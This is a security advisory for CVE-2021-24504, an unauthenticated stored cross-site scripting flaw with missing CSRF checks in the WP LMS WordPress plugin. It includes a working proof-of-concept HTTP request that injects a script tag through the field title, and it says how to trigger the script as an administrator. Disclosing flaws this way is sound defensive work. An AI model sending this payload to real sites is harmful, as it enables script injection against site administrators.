WP LMS < 1.1.3 – Unauthenticated Stored Cross-Site Scripting (XSS) | CVE 2021-24504

Description

The plugin does not properly sanitise or validate its User Field Titles, allowing XSS payload to be used in them. Furthermore, no CSRF and capability checks were in place, allowing such attack to be performed either via CSRF or as any user (including unauthenticated)

v1.1.3 fixed the XSS by escaping and sanitising. Still no CSRF/capability check (confirmed to be also missing in 1.1.4)

Proof of Concept

POST /wp-admin/admin.php?page=jslm_fieldordering&task=saveuserfield HTTP/1.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-GB,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 207
Connection: close
Upgrade-Insecure-Requests: 1

fieldtitle=Image%3Cscript%3Ealert%28%2FXSS%2F%29%3C%2Fscript%3E&published=1&isvisitorpublished=1&required=0&search_user=1&search_visitor=1&form_request=jslearnmanager&id=28&isuserfield=0&fieldfor=3&save=Save

Then visit /wp-admin/admin.php?page=jslm_fieldordering&ff=3 as admin to trigger the XSS. It may also be triggered elsewhere